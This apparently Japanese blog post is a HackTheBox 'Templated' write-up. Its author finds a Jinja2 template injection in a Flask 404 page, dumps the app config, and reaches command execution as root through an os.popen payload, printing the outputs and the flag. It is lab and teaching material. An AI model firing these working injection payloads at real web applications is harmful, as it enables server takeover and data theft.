見出し画像

#23 [HTB] Templated

ゴールデンウィークです。
実践的なセキュリティ技術を身につけるべく、本格的に勉強をはじめます。

HackTheBoxのChallenge「Templated」をやりました。

Walk Through

ブラウザでページを開くと

Site still under construction
Proudly powered by Flask/Jinja2

FlaskとJinja2でできているページのようです。

適当に/loginにアクセス

//404
The page 'login' could not be found

'login'の部分はURLから動的に表示しているようです。
Jinja2は、{{ }}や{% %}で動的な表示を行います。

/{{ 10 * 10 }}

//404
The page '100' could not be found

ビンゴです。SSTI(サーバーサイドテンプレートインジェクション)脆弱性があります。

/{{ config.items() }}

The page 'dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), 
('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), 
('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), 
('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), 
('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), 
('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])' could not be found

こんな感じで機微な情報が見えてしまったり、不正なコマンドを実行できてしまいます。

/{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}

The page 'uid=0(root) gid=0(root) groups=0(root) ' could not be found

コマンドも実行できました。

/{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}

The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' 
could not be found

flag.txtがあります。

/{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat flag.txt')['read']()}}

The page 'HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!} ' could not be found

あっさりフラグが取れました。


まとめ

ウェブサイト制作では、Jinjaのようなテンプレートエンジンをめちゃくちゃ使います。ちょっとしたミスで、サーバー内部まで侵入されてしまう可能性があると考えると恐ろしいですね。入力値をそのまま出力するような箇所は、残さないよう気をつけなければいけません。


EOF

この記事が気に入ったらサポートをしてみませんか?